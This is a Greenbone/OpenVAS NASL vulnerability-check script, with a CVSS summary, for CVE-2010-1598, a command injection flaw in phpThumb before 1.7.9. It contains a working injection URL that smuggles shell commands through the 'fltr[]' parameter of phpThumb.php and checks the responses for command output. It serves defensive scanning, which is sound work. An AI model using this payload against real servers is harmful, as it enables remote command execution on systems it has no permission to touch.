CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
84.8%
phpThumb is prone to a command injection vulnerability.
# Copyright (C) 2010 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:phpthumb_project:phpthumb";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.801233");
script_version("2022-02-21T12:24:11+0000");
script_tag(name:"last_modification", value:"2022-02-21 12:24:11 +0000 (Mon, 21 Feb 2022)");
script_tag(name:"creation_date", value:"2010-11-11 07:48:04 +0100 (Thu, 11 Nov 2010)");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2010-1598");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
script_name("phpThumb < 1.7.9 Command Injection Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_phpthumb_http_detect.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("phpthumb/http/detected");
script_tag(name:"summary", value:"phpThumb is prone to a command injection vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied
input via the 'fltr[]' parameter to 'phpThumb.php', which allow attackers to inject and execute
arbitrary shell commands via specially crafted requests.");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to inject and
execute arbitrary shell commands via specially crafted requests in the context of the web server.");
script_tag(name:"affected", value:"phpThumb prior to version 1.7.9.");
script_tag(name:"solution", value:"Update to version 1.7.9 or later.");
script_xref(name:"URL", value:"http://secunia.com/advisories/39556");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/58040");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
cmds = exploit_commands();
foreach pattern (keys(cmds)) {
cmd = cmds[pattern];
url = dir + "/phpThumb.php?src=/home/example.com/public_html/vt.jpg&fltr[]=blur|" +
"5%20-quality%2075%20-interlace%20line%20%22/home/example.com/public_html/vt.jpg%22%20jpeg:%22" +
"/home/example.com/public_html/vt.jpg%22;" + cmd + ";&phpThumbDebug=9";
if (http_vuln_check(port: port, url: url, pattern: pattern)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
exit(99);